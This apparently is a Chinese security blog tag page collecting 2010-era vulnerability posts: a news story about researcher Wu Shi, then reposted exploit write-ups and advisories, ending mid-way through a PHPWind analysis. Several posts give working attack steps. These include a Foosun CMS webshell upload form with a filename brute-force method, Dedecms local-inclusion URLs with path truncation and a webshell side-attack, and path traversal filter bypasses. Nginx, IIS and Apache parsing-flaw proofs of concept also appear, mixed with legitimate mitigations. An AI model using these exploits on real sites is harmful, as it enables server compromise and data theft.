Posts tagged 漏洞

中国安全研究员吴石

http://tech.sina.com.cn/it/2010-07-16/16504437822.shtml

媒体终于报道了一次真正的安全漏洞挖掘领域的牛人,还是国外报道的

无名英雄吴石

如果说“严厉的爱”是解决软件故障的最佳方法,那么吴石(Wu Shi,音译)或许就是信息安全领域众多的无名英雄之一。

自2007年以来,这位家住上海的35岁研究员已经发现并报告了IE、Safari和Chrome等浏览器中存在的100多个严重漏洞。当用户浏览被感染的网页时,黑客可以借助这些漏洞劫持用户的电脑。仅去年一年,他就将其中50多个漏洞出售给了Zero Day Initiative(以下简称“ZDI”)和iDefense等漏洞悬赏项目。这两个项目分别归属于惠普和VeriSign,他们专门花钱从研究人员那里购买漏洞信息,并在安全产品中使用这些数据,随后再将其交给受影响的软件厂商。

这表明吴石一年汇报给ZDI和iDefense的漏洞比全世界任何一个研究人员都多,其中超过半数都来自苹果Safari浏览器。

例如,在上月的一次安全更新中,苹果针对iPhone操作系统发布了64个新补丁,其中只有6个是苹果内部研究人员自己发现的,12个由谷歌研究人员发现,还有15个是由吴石发现的。

安全专家查理•米勒(Charlie Miller)说:“或许苹果应当聘请吴石来帮助他们,因为他发现的漏洞是苹果整个安全团队的两倍还多。”

独特fuzzing算法

吴石通过即时通讯和电子邮件解释了他是如何使用一种名为“fuzzing”的方法来收集这些漏洞的。使用这种方法时,需要向软件中输入大批经过修改的文件,以便查看哪些文件会导致软件崩溃。之后再对这些崩溃事件进行分析,以便了解哪些情况会允许黑客注入代码并控制浏览器。

吴石使用他自己的独特算法来生成这些测试文件,然后将他们抛入Apache Tomcat服务器。通过这种方法,他就可以获得更快的频率,从而比普通研究人员测试更多的样本。与以往只更改文件中的单一变量不同,吴石表示,他的方法会更改整个样本,而且能够在进行尽可能多的更改的同时,仍然让浏览器将文件识别为HTML文档。“我的fuzzing框架关注的是软件架构,而不是细节。”吴石说。

ZDI研究经理亚伦•波托尼(Aaron Portnoy)对吴石发现的漏洞进行了研究,他表示,吴石不会对他所发现的漏洞进行深入分析。但他认为,这名中国研究员使用的方法可以捕捉到其他方法无法发现的漏洞。“这些文件中的相关项目有着复杂的层次结构。他可以改变关系树结构的工作方式,而不仅仅是其中的一个项目。”波托尼说,“很多人只是fuzz数据,而他则是fuzz关系。”

曲折从业经历

吴石说,他是在职业发展经历了一系列挫折后才在漏洞寻找领域实现突破的。当中国股市2006年开始一轮波澜壮阔的大牛市时,当时在一家小型IT公司任职的吴石感觉他的职业像是一艘逐渐沉没的船。他说:“我感觉正在逐渐陷入绝望。以我的工资,甚至无法糊口。”

他后来离开了那家IT公司,并且创建了一家基于P2P文件分享技术的企业。但是当一家大客户拒绝履行承诺为一个主要项目支付报酬时,他的合作伙伴找了另外一份工作,公司也破产了。

吴石开始组建一家安全咨询公司,并实验他早年在复旦大学读书时想到的一个fuzzing方法。他发现了微软的一些安全漏洞,并且直接将其报告给微软。后来,他从朋友那里得知了ZDI这样的“漏洞购买”项目。“从那以后,我就变成了一名全职漏洞猎手。”他说。

这一决定已经有所收获。ZDI从吴石那里购买了50个漏洞,每个都至少价值5000美元,而iDefense某些情况下支付的费用甚至超过1万美元。吴石并没有透露具体收益,但通过简单计算便可获知,他的收益超过25万美元,这在中国可是很大一笔钱。ZDI还为吴石授予“白金”(platinum status)奖,该奖项的获得者可以拿到2万美元的奖金,并免费参加在美国拉斯维加斯举行的“黑帽”(Black Hat)安全大会。

苹果安全性低下

一个中国研究员手中握有数百个重要漏洞,会使某些人感到担忧。但是吴石表示,他只会将漏洞卖给那些“不作恶”的企业,而且会直接将漏洞报告给受影响的软件公司。他表示,某些黑市买家给出十倍于ZDI的出价购买他发现的一些IE漏洞。且不说是否存在道德问题,吴石并不希望卷入任何犯罪行为。

即便如此,如此多的漏洞被吴石发现仍然可能产生麻烦,对苹果软件而言尤其如此。吴石表示,他之所以关注苹果的漏洞,是因为苹果自己不关注这一问题。

苹果尚未对此置评。

微软十年来一直在与网络攻击做斗争,也因此而变得坚固。例如“红色代码”蠕虫病毒曾于2001年感染了数万台电脑,还有很多网站因此被黑,并被挂上了“Hacked By Chinese!”(被中国人黑了)的标语。而苹果则因为多年以来一直被网络犯罪分子忽略而变得有些自满。

但吴石认为,这种安逸的状况不会延续下去。随着有针对性的攻击越来越多,苹果无法再因为市场份额较小而免受安全问题的困扰。他说:“iPhone和Mac OS比Windows 7更容易攻击。我认为,未来将有很多针对苹果软件的攻击。”(鼎宏)

foosun cms(风讯内容管理系统)建目录漏洞实践总结(图文详解)

1.版本:应该是 4.0 sp7以下的吧(应该算不上0day漏洞了).(网上资料说的,5.0版本的我没测试),我主要用图片详细解释漏洞利用过程.

2.过程:

   a)看版本,访问网站跟admin目录,看登陆的logo (foosuncms),提示版本.

    b)注册, 访问/User/Reg_service.asp,记录这个id,如下图:

clip_image002

    c)增加.asp目录,如:aaa.asp,那么访问:/User/CommPages/FolderImageList.asp?f_UserNumber=091310I59B3&Type=AddFolder&Path=/userfiles/091310I59B3/aaa.asp//&CurrPath=/userfiles/091310I59B3

(记得将091310I59B3替换为你的注册后的编号).访问后应该看到如下的目录(否则就是不支持.asp目录了或者最新修复了漏洞的版本,后续没得搞了,不用看了,就此打住吧):

clip_image004

3.传一句话到aaa.asp目录,这儿我自己根据抓包编写了一个html,关键解决图片上传后文件名猜解问题(记得替换下面html里面得id与网址):

<form name=from1 method="post" enctype="multipart/form-data" target="new1" action="http://www.xxx.cn/User/Commpages/UpFileSave.asp">
数量<input name=FilesNum value=1>
<input type=file name="File1"><br>
<input name="Path" value=/UserFiles/091310I59B3/abcdefg><br>
命名方式<input name="AutoReName" value=2>
<input type=submit name="Submit" value=Submit onsubmit=’alert(1)’>
</form>
<br><br>
<form name=from2 method="post" enctype="multipart/form-data" target="new2" action="http://www.xxx.cn/User/Commpages/UpFileSave.asp">
数量<input name=FilesNum value=10>
<input type=file name="File1"><br>
<input type=file name="File2"><br>
<input type=file name="File3"><br>
<input type=file name="File4"><br>
<input type=file name="File5"><br>
<input type=file name="File6"><br>
<input type=file name="File7"><br>
<input type=file name="File8"><br>
<input type=file name="File9"><br>
<input type=file name="File10"><br>
<input name="Path" value=/UserFiles/091310I59B3/aaa.asp><br>
命名方式<input name="AutoReName" value=2>
<input type=submit name="Submit" value=Submit>
</form>
<br><br>

4.猜解上传到aaa.asp目录得文件名,这儿注意观察文件名文规则与文件夹时间:

clip_image006

从上图看出:刚提交上去得一句话文件夹保存时间为:2010-7-9 15:08:38,那么文件名(假设是gif文件) 应该是:

2010_07_09_15_08_38xxxxx.gif,看出来了吧,最后38是秒数,那么现在不确定的是最后5位数字.

5.解决猜解概率问题:虽然5位数字最多99999次,(10万次呀),不多也不少,下面结合上面自己编的html说明一下如何增加命中率:

clip_image008

    1)第一次传一个到正常目录(如abcdefg目录),点了按钮之后,马上点下面的表单按钮(aaa.asp目录)[要非常快,可以先点开两个窗口,不关闭,再第二次来点,就不会打开新窗口了,更快].

    2)那么现在可以确定起始时间:abcdefg这个目录里面的可以看到,而传到aaa.asp目录的,提交在后,时间肯定更靠后,那就将xxxxx在abcdefg目录刚传的图片上面加吧.另外,因为一次传了10个(都是一样的一句话),那么命中概率又大了很多呀,按上述方法,我将10万变成了3万(见下图).

6.暴力猜解路径,自己写个工具,或者拿那种扫后台的软件都可以,自己做一个字典(做字典也简单,用excel+编辑器搞定)就是了:

clip_image010

好吧,就到这儿,我没几十秒就猜到了3个:

clip_image012

from:http://hi.baidu.com/it_security/blog/item/daf9a423354970fed6cae265.html

Dedecms v5.6的鸡肋本地包含漏洞

还是前段时间看dede代码的时候看到的,虽然很鸡肋,但也有点用,于是拖着没发;很无语的发现在t00ls被公布了,于是我稍微说一下之类本地包含漏洞的利用方法。

一、漏洞介绍
Dedecms V5.6 Final版本中的plus/carbuyaction.php文件中当dopost为return时,$code变量没有初始化,直接被带入了require once 语句中,由于后面限制了.php,从而只能导致本地包含漏洞。

二、漏洞细节
1、 plus/carbuyaction.php文件:

//漏洞出现下$dopost 为return的时候,$code变量没有被赋值,由于dedecms的全局机制可以任意给其赋值,从而带入包含,导致本地包含漏洞。


elseif($dopost == 'return'){
//$code直接引入,from www.oldjun.com
require_once DEDEINC.'/payment/'.$code.'.php';
$pay = new $code;
$msg=$pay->respond();
ShowMsg($msg,"javascript:;",0,3000);
exit();
}

2、 include/common.inc.php:

//无论是否打开magic_quotes_gpc,系统都对传进来的变量进行了addslashes处理,from www.oldjun.com

function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
//模拟register_globals,对_GET、_POST、_COOKIE全局化,from www.oldjun.com
foreach(Array('_GET ','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

三、漏洞利用
1. windows系统:

IIS或者某些apache版本下php文件系统可以进行路径截断,
可以通过
///////////////////////////////////(若干/)
/././././././././././././././././(若干/.)
进行截断。

于是可以上传一个精心构造带有恶意php代码的图片,然后注册一个用户上传,比如上传到uploads/userup/2/12Ka5357-c53.jpg,于是可以通过访问:

http://127.0.0.1/ plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////(若干/)

则有可能执行12Ka5357-c53.jpg中的恶意php代码,从而达到入侵的目的。

2.linux系统:

1)apache某些版本php文件系统支持路径截断,于是同windows下,可以通过
///////////////////////////////////(若干/)
/././././././././././././././././(若干/.)
进行截断。

利用方法同windows:

于是可以上传一个精心构造带有恶意php代码的图片,然后注册一个用户上传,比如上传到uploads/userup/2/12Ka5357-c53.jpg,于是可以通过访问:

http://127.0.0.1/ plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////(若干/)

则有可能执行12Ka5357-c53.jpg中的恶意php代码,从而达到入侵的目的。

2)旁注攻击

比如目标站是www.aaa.com,漏洞文件是:
http://www.aaa.com/ plus/carbuyaction.php

同服务器有个站点www.bbb.com可以轻松入侵,拿到webshell,但是由于权限控制,www.bbb.com站的webshell访问或者控制不了www.aaa.com,于是我们可以通过这个本地包含漏洞达到入侵www.aaa.com的目的。

1. 通过www.bbb.com上传一个webshell到/tmp文件夹下,比如文件名是shell.php;
2. 访问http://www.aaa.com/plus/carbuyaction.php?code=../../../../../../../tmp/shell则可以成功包含我们上传到临时文件夹下的webshell,由于当前是www.aaa.com的权限,则可以完全控制目标站点:www.aaa.com

from:http://www.oldjun.com/blog/index.php/archives/67/

浅析路径遍历漏洞

文/饭

许多的Web应用程序一般会有对服务器的文件读取查看的功能,大多会用到提交的参数来指明文件名,形如:http://www.nuanyue.com/getfile=image.jgp

当服务器处理传送过来的image.jpg文件名后,Web应用程序即会自动添加完整路径,形如“d://site/images/image.jpg”,将读取的内容返回给访问者。

初看,在只是文件交互的一种简单的过程,但是由于文件名可以任意更改而服务器支持“~/”,“/..”等特殊符号的目录回溯,从而使攻击者越权访问或者覆盖敏感数据,如网站的配置文件、系统的核心文件,这样的缺陷被命名为路径遍历漏洞。在检查一些常规的Web应用程序时,也常常有发现,只是相对隐蔽而已。

发现路径遍历漏洞

路径遍历漏洞的发现,主要是对Web应用程序的文件读取交互的功能块,进行检测,面对这样的读取方式:

“http://www.nuanyue.com/test/downfile.jsp?filename=fan.pdf”

我们可以使用 “../”来作试探,比如提交Url:“getfile=/fan/fan/*53.pdf”,而系统在解析是“d://site/test/pdf/fan/fan/../../*53.pdf”,通过“../”跳转目录“/fan”,即“d://site/test/pdf/*53.pdf”,返回了读取文件的正常的页面。

路径遍历漏洞隐藏一般在文件读取或者展示图片功能块这样的通过参数提交上来的文件名,从这可以看出来过滤交互数据是完全有必要的。恶意攻击者当然后会利用对文件的读取权限进行跨越目录访问,比如访问一些受控制的文件,“../../../../../../../etc/passwd“或者”../../../../boot.ini“,当然现在部分网站都有类似Waf的防护设备,只要在数据中会有/etc /boot.ini等文件名出直接进行拦截。

遍历路径攻击变异

路径遍历漏洞是很常见的,在Web应用程序编写过程,会有意识的对传递过来的参数进行过滤或者直接删除,存在风险的过滤方式,一般可以采用如下方式进行突破:

以下是一些绕过的方法,当然在实际运行过程中,可以组合使用。

(1) 加密参数传递的数据;在Web应用程序对文件名进行加密之后再提交,比如:“downfile.jsp?filename= ZmFuLnBkZg- “,在参数filename用的是Base64加密,而攻击者要想绕过,只需简单的将文件名加密后再附加提交即可。所以说,采用一些有规律或者轻易能识别的加密方式,也是存在风险的。

(2)  编码绕过,尝试使用不同的编码转换进行过滤性的绕过,比如Url编码,通过对参数进行Url编码提交,“downfile.jsp?filename= %66%61%6E%2E%70%64%66“来绕过。

(3)  目录限定绕过;在有些Web应用程序是通过限定目录权限来分离的。当然这样的方法不值得可取的,攻击者可以通过某些特殊的符号“~“来绕过。形如这样的提交“downfile.jsp?filename=~/../boot”。能过这样一个符号,就可以直接跳转到硬盘目录下了。

(4)  绕过文件后缀过滤;一些Web应用程序在读取文件前,会对提交的文件后缀进行检测,攻击者可以在文件名后放一个空字节的编码,来绕过这样的文件类型的检查。例如:../../../../boot.ini%00.jpg,Web应用程序使用的Api会允许字符串中包含空字符,当实际获取文件名时,则由系统的Api会直接截短,而解析为“../../../../boot.ini”。在类Unix的系统中也可以使用Url编码的换行符,例如:../../../etc/passwd%0a.jpg如果文件系统在获取含有换行符的文件名,会截短为文件名。也可以尝试%20,例如: ../../../index.jsp%20

(5)  绕过来路验证。在一些Web应用程序中,会有对提交参数的来路进行判断的方法,而绕过的方法可以尝试通过在网站留言或者交互的地方提交Url再点击或者直接修改Http Referer即可,这主要是原因Http Referer是由客户端浏览器发送的,服务器是无法控制的,而将此变量当作一个值得信任源是错误的。

防范遍历路径漏洞

在防范遍历路径漏洞的方法中,最有效的是权限的控制,谨慎的处理向文件系统API传递过来的参数路径。主要是因为大多数的目录或者文件权限均没有得到合理的配置,而Web应用程序对文件的读取大多依赖于系统本身的API,在参数传递的过程,如果没有得严谨的控制,则会出现越权现象的出现。在这种情况下,Web应用程序可以采取以下防御方法,最好是组合使用。

(1)  数据净化,对网站用户提交过来的文件名进行硬编码或者统一编码,对文件后缀进行白名单控制,对包含了恶意的符号或者空字节进行拒绝。

(2)  Web应用程序可以使用chrooted环境访问包含被访问文件的目录,或者使用绝对路径+参数来控制访问目录,使其即使是越权或者跨越目录也是在指定的目录下。

总结

路径遍历漏洞允许恶意攻击者突破Web应用程序的安全控制,直接访问攻击者想要的敏感数据 ,包括配置文件、日志、源代码等,配合其它漏洞的综合利用,攻击者可以轻易的获取更高的权限,并且这样的漏洞在发掘上也是很容易的,只要对Web应用程序的读写功能块直接手工检测,通过返回的页面内容来判断,是很直观的,利用起来也相对简单。

永久链接 : http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e8%b7%af%e5%be%84%e9%81%8d%e5%8e%86%e6%bc%8f%e6%b

再提供一种解决Nginx文件类型错误解析漏洞的方法

昨日,80Sec 爆出Nginx具有严重的0day漏洞,详见《Nginx文件类型错误解析漏洞》。只要用户拥有上传图片权限的Nginx+PHP服务器,就有被入侵的可能。
其实此漏洞并不是Nginx的漏洞,而是PHP PATH_INFO的漏洞,详见:http://bugs.php.net/bug.php?id=50852&edit=1
例如用户上传了一张照片,访问地址为http://www.domain.com/images/test.jpg,而test.jpg文件内的内容实际上是PHP代码时,通过http://www.domain.com/images/test.jpg/abc.php就能够执行该文件内的PHP代码。
网上提供的临时解决方法有:
方法①、修改php.ini,设置cgi.fix_pathinfo = 0;然后重启php-cgi。此修改会影响到使用PATH_INFO伪静态的应用,例如我以前博文的URL:http://blog.s135.com/read.php/348.htm 就不能访问了。
方法②、在nginx的配置文件添加如下内容后重启:if ( $fastcgi_script_name ~ \..*\/.*php ) {return 403;}。该匹配同样会一并干掉类似“/read.php/348.htm”的URI。
方法③、对于存储图片的location{…},或虚拟主机server{…},只允许纯静态访问,不配置PHP访问。例如在金山逍遥网论坛、SNS上传的图片、附件,会传送到专门的图片、附件存储服务器集群上(pic.xoyo.com),这组服务器提供纯静态服务,无任何动态PHP配置。各大网站几乎全部进行了图片服务器分离,因此Nginx的此次漏洞对大型网站影响不大。


本人再提供一种修改nginx.conf配置文件的临时解决方法,兼容“http://blog.s135.com/demo/0day/phpinfo.php/test”的PATH_INFO伪静态,拒绝“http://blog.s135.com/demo/0day/phpinfo.jpg/test.php”的漏洞攻击:

location ~* .*\.php($|/)
{
      if ($request_filename ~* .*\.php$) {
         set $is_path_info ’0′;
      }
      if (-e $request_filename) {
         set $is_path_info ’1′;
      }
      if ($is_path_info ~ ’0′) {
         return 403;
      }
      fastcgi_pass  127.0.0.1:9000;
      fastcgi_index index.php;
      include fcgi.conf;
}

也可将以下内容写在fcgi.conf文件中,便于多个虚拟主机引用:

if ($request_filename ~* .*\.(php|php5)$) {
    set $is_path_info ’0′;
}
if (-e $request_filename) {
    set $is_path_info ’1′;
}
if ($is_path_info ~ ’0′) {
    return 403;
}
fastcgi_param  GATEWAY_INTERFACE  CGI/1.1;
fastcgi_param  SERVER_SOFTWARE    nginx;
fastcgi_param  QUERY_STRING       $query_string;
fastcgi_param  REQUEST_METHOD     $request_method;
fastcgi_param  CONTENT_TYPE       $content_type;
fastcgi_param  CONTENT_LENGTH     $content_length;
fastcgi_param  SCRIPT_FILENAME    $document_root$fastcgi_script_name;
fastcgi_param  SCRIPT_NAME        $uri;
fastcgi_param  REQUEST_URI        $request_uri;
fastcgi_param  DOCUMENT_URI       $document_uri;
fastcgi_param  DOCUMENT_ROOT      $document_root;
fastcgi_param  SERVER_PROTOCOL    $server_protocol;
fastcgi_param  REMOTE_ADDR        $remote_addr;
fastcgi_param  REMOTE_PORT        $remote_port;
fastcgi_param  SERVER_ADDR        $server_addr;
fastcgi_param  SERVER_PORT        $server_port;
fastcgi_param  SERVER_NAME        $server_name;
# PHP only, required if PHP was built with –enable-force-cgi-redirect
fastcgi_param  REDIRECT_STATUS    200;

IIS源码泄露及文件类型解析错误

漏洞介绍:IIS是微软推出的一款webserver,使用较为广泛,在支持asp/asp.net的同时还可以较好的支持PHP等其他语言的运行。但是80sec发现在IIS的较高版本中存在一个比较严重的安全问题,在按照网络上提供的默认配置情况下可能导致服务器泄露服务器端脚本源码,也可能错误的将任何类型的文件以PHP的方式进行解析,使得恶意的攻击者可能攻陷支持PHP的IIS服务器,特别是虚拟主机用户可能受的影响较大。

漏洞分析:
IIS支持以CGI的方式运行PHP,但是此种模式下,IIS处理请求的时候可能导致一些同80sec提到的nginx安全漏洞一样的问题,任何用户可以远程将任何类型的文件以PHP的方式去解析,你可以通过查看Phpinfo中对php的支持方式,其中如果为CGI/FAST-CGI就可能存在这个问题。

黑盒访问

http://www.80sec.com/robots.txt/1.php

查看文件是否存在和返回的HTTP头就可以知道是否存在此漏洞。

同时,如果服务器支持了PHP,但应用中使用的是asp就可以通过如下方式来直接查看服务端asp源码

http://www.80sec.com/some.asp/1.php

漏洞厂商:http://www.microsoft.com

解决方案:

我们已经尝试联系官方,但是此前你可以通过以下的方式来减少损失

关闭cgi.fix_pathinfo为0

本站内容均为原创,转载请务必保留署名与链接!
IIS源码泄露及文件类型解析错误:http://www.80sec.com/iis-cgifastcgi-security-hol.html

nginx文件类型错误解析漏洞

漏洞介绍:nginx是一款高性能的web服务器,使用非常广泛,其不仅经常被用作反向代理,也可以非常好的支持PHP的运行。80sec发现其中存在一个较为严重的安全问题,默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析,这将导致严重的安全问题,使得恶意的攻击者可能攻陷支持php的nginx服务器。

漏洞分析:nginx默认以cgi的方式支持php的运行,譬如在配置文件当中可以以


location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
include fastcgi_params;
}

的方式支持对php的解析,location对请求进行选择的时候会使用URI环境变量进行选择,其中传递到后端Fastcgi的关键变量SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定,而通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的,这里就是产生问题的点。而为了较好的支持PATH_INFO的提取,在PHP的配置选项里存在cgi.fix_pathinfo选项,其目的是为了从SCRIPT_FILENAME里取出真正的脚本名。
那么假设存在一个http://www.80sec.com/80sec.jpg,我们以如下的方式去访问

http://www.80sec.com/80sec.jpg/80sec.php

将会得到一个URI

/80sec.jpg/80sec.php

经过location指令,该请求将会交给后端的fastcgi处理,nginx为其设置环境变量SCRIPT_FILENAME,内容为

/scripts/80sec.jpg/80sec.php

而在其他的webserver如lighttpd当中,我们发现其中的SCRIPT_FILENAME被正确的设置为

/scripts/80sec.jpg

所以不存在此问题。
后端的fastcgi在接受到该选项时,会根据fix_pathinfo配置决定是否对SCRIPT_FILENAME进行额外的处理,一般情况下如果不对fix_pathinfo进行设置将影响使用PATH_INFO进行路由选择的应用,所以该选项一般配置开启。Php通过该选项之后将查找其中真正的脚本文件名字,查找的方式也是查看文件是否存在,这个时候将分离出SCRIPT_FILENAME和PATH_INFO分别为

/scripts/80sec.jpg和80sec.php

最后,以/scripts/80sec.jpg作为此次请求需要执行的脚本,攻击者就可以实现让nginx以php来解析任何类型的文件了。

POC: 访问一个nginx来支持php的站点,在一个任何资源的文件如robots.txt后面加上/80sec.php,这个时候你可以看到如下的区别:

访问http://www.80sec.com/robots.txt

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:05:30 GMT
Content-Type: text/plain
Content-Length: 18
Last-Modified: Thu, 20 May 2010 06:26:34 GMT
Connection: keep-alive
Keep-Alive: timeout=20
Accept-Ranges: bytes

访问访问http://www.80sec.com/robots.txt/80sec.php

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:06:49 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=20
X-Powered-By: PHP/5.2.6

其中的Content-Type的变化说明了后端负责解析的变化,该站点就可能存在漏洞。

漏洞厂商:http://www.nginx.org

解决方案:

我们已经尝试联系官方,但是此前你可以通过以下的方式来减少损失

关闭cgi.fix_pathinfo为0

或者

if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}

PS: 鸣谢laruence大牛在分析过程中给的帮助

本站内容均为原创,转载请务必保留署名与链接!
nginx文件类型错误解析漏洞:http://www.80sec.com/nginx-securit.html

Apache 漏洞之后缀名解析漏洞

我们都知道windows2003 + IIS6.0下,如果目录结构中有xxx.asp这样的目录,那么所有这个目录下的文件不管扩展名为什么,都会当作asp来解析。我们一般称这个漏洞为windows2003+iis6.0目录解析漏洞。但是大家可能不知道的是,apache服务器也存在类似的解析漏洞
我们来做下实验,我在本地搭建好了一个apache+php的测试平台

两个文件phpinfo.php  phpinfo.php.a ,我们来访问下phpinfo.php.a
http://192.168.99.110/phpinfo.php.a

可以解析,换成其他后缀仍然可以
不管文件最后后缀为什么,只要是.php.*结尾,就会被Apache服务器解析成php文件,问题是apache如果在mime.types文件里面没有定义的扩展名在诸如x1.x2.x3的情况下,最后一个x3的没有定义,他会给解析成倒数第二个的x2的定义的扩展名。所以xxx.php.rar或者xxx.php.111这些默认没在mime.types文件定义的都会解析成php的。同样如果是cgi或者jsp也一样。。。
那么如果涉及到web程序的上传页面,如果上传的文件名是我们可以定义的,那么我们完全可以上传一个xxx.php.jpg这样名字的webshell,apache仍然会当作php来解析,我们再来测试下jpg

防御方法:
apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
<Files ~ “\.(php.|php3.)”>
Order Allow,Deny
Deny from all
</Files>

保存,从起apache以后,我们再来看看

OK,防御方法就是这样

from:http://blog.csdn.net/linkboy2004/archive/2010/04/28/5538172.aspx

WordPress <= 2.9.2绕过口令保护漏洞

SSV ID:19332
SEBUG-Appdir:WordPress
发布时间:2010-03-22
影响版本:
WordPress <= 2.9.2
漏洞描述:
BUGTRAQ  ID: 38876

WordPress是一款免费的论坛Blog系统。

用户可以对WordPress论坛中的每个页面或帖子设置口令,这些口令可以相同,但通过口令访问的功能设置了全站点都通用的全局Cookie,因此用户只要获得了一个对页面或帖子所设置的口令,就可以看到所有受保护的页面或帖子(在请求时会自动许可访问)。
SEBUG安全建议:
厂商补丁:

WordPress
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://wordpress.org/
// sebug.net [2010-03-24]

[转载]IE新0day漏洞及临时缓解办法

此0day漏洞存在于IE浏览器,且可导致远程代码执行
研究发现Windows 2000 SP4上(以下省去Windows)的IE 5.1 SP4不受此影响;而以下IE版本(无论是32位还是64位)均受此漏洞影响:
2000 SP4上的 IE6 SP1
XP、Server 2003、Vista、Server 2008、7、Server 2008 R2上的IE6、IE7、IE8

此漏洞存在于IE无效的指针引用。当对象被删除后,在一定的条件下可以访问无效的指针。在针对此漏洞的攻击里试图访问一个已释放的对象时,可引起IE执行远程代码。
当前,微软已知的利用此漏动的攻击影响有限且有针对性,仅针对IE6。微软并未发现利用此漏洞针对其他版本IE的攻击。微软会继续监视漏洞带来的影响并更新安全通报979352。
另外,已发现的利用此漏洞的攻击可以被DEP(Data Execution Prevention,数据执行保护)阻挠。DEP在IE8中是默认启用的;而在IE7中,用户可手动开启DEP。

手动开启IE7中DEP保护的办法:
1.打开“Internet属性”(从控制面板打开;或打开IE,选择“工具”,再选择“Internet属性”),切换到“高级”选项卡。
2.选中“启用内存保护帮助减少联机攻击”,重启IE7后生效。

或者你也可以使用微软提供的Fix It工具来针对IE6、IE7启用DEP保护
Fix It微软官方下载地址(单击):http://go.microsoft.com/?linkid=9668626
下载后,按照此工具的向导操作即可。
卸载工具下载地址(单击):http://go.microsoft.com/?linkid=9668627

资料来自: 中国自学网(Www.CnZiXue.Com) 详细出处参考:http://www.cnzixue.com/html/sort/virus/2010/0117/5329.html

PHPWind 7.5 多处包含漏洞

作者: 80vul

一.api/class_base.php本地包含漏洞

1.描叙

api/class_base.php文件里callback函数里$mode变量没有过滤导致任意包含本地文件,从而可以执行任意PHP命令.

2. 具体分析

api/class_base.php文件里:

function callback($mode, $method, $params) {
if (!isset($this->classdb[$mode])) {
if (!file_exists(R_P.'api/class_' . $mode . '.php')) {
return new ErrorMsg(API_MODE_NOT_EXISTS, "Class($mode) Not Exists");
}
require_once(R_P.'api/class_' . $mode . '.php'); //这里
$this->classdb[$mode] = new $mode($this);
}
if (!method_exists($this->classdb[$mode], $method)) {
return new ErrorMsg(API_METHOD_NOT_EXISTS, "Method($method of $mode) Not Exists");
}
!is_array($params) && $params = array();
return @call_user_func_array(array(&$this->classdb[$mode], $method), $params);
}

我们继续跟一下具体变量传递的过程. 上面的函数在run()里有调用:

function run($request) {
$request = $this->strips($request);
if (isset($request['type']) && $request['type'] == 'uc') {
$this->type = 'uc';
$this->apikey = $GLOBALS['uc_key'];//注意这个变量也是该漏洞的关键
} else {
$this->type = 'app';
$this->apikey = $GLOBALS['db_siteownerid'];
$this->siteappkey = $GLOBALS['db_siteappkey'];
}
/***
if ($this->type == 'app' && !$GLOBALS['o_appifopen']) {
return new ErrorMsg(API_CLOSED, 'App Closed');
}
***/
ksort($request);
reset($request);
$arg = '';
foreach ($request as $key => $value) {
if ($value && $key != 'sig') {
$arg .= "$key=$value&";
}
}
if (md5($arg . $this->apikey) != $request['sig']) { //注意这个判断,需要绕过它.上面的代码可以看的出来$this->apikey = $GLOBALS['uc_key'],和$request['sig']我们
//都可以控制,那么很容易绕过它
return new ErrorMsg(API_SIGN_ERROR, 'Error Sign');
}
$mode = $request['mode']; //取$mode 没有过滤直接进入下面的callback()
$method = $request['method'];
$params = isset($request['params']) ? unserialize($request['params']) : array();
if (isset($params['appthreads'])) {
if (PHP_VERSION < 5.2) { require_once(R_P.'api/class_json.php'); $json = new Services_JSON(true); $params['appthreads'] = $json->decode(@gzuncompress($params['appthreads']));
} else {
$params['appthreads'] = json_decode(@gzuncompress($params['appthreads']),true);
}
}
if ($params && isset($request['charset'])) {
$params = pwConvert($params, $this->charset, $request['charset']);
}
return $this->callback($mode, $method, $params); //调用callback ()
}

我们继续看看run()函数的调用:

在pw_api.php文件里:

$api = new api_client();
$response = $api->run($_POST + $_GET);//直接run了$_POST , $_GET提交的变量.

上面的分析是逆行分析了整个漏洞变量提交的过程,其实我们这个漏洞还包含一次编码与解码的问:require_once(R_P.’api/class_’ . $mode . ‘.php’);这个需要绕过魔术引号才可以
包含容易文件.我们注意看run()的第一句

$request = $this->strips($request);

strips()的代码:

function strips($param) {
if (is_array($param)) {
foreach ($param as $key => $value) {
$param[$key] = $this->strips($value);
}
} else {
$param = stripslashes($param); //变量直接使用了stripslashes,那么我们可以直接绕过魔术引号了 :)
}
return $param;
}

3.POC/EXP

4.FIX

由于漏洞信息的外泄,官方针对这个漏洞已经做出了修补:

http://www.phpwind.net/read-htm-tid-914851.html

具体代码:

require_once Pcv(R_P.'api/class_' . $mode . '.php');

function Pcv($filename,$ifcheck=1){
$tmpname = strtolower($filename);
$tmparray = array(' http://',"\0"); //过滤了http:// \0 意思是不让远程 不让截断
$ifcheck && $tmparray[] = '..'; //过滤了.. 意思是不让转跳目录
if (str_replace($tmparray,'',$tmpname)!=$tmpname) {
exit('Forbidden');
}
return $filename;
}

从Pcv()可以看出来phpwind的补丁风格是很猥琐的,单从这个pcv来看 还有很多的逻辑问题,比如http://这个过滤很搞笑,人家就不可以用ftp://? …

二.apps/share/index.php远程包含漏洞

1.描叙

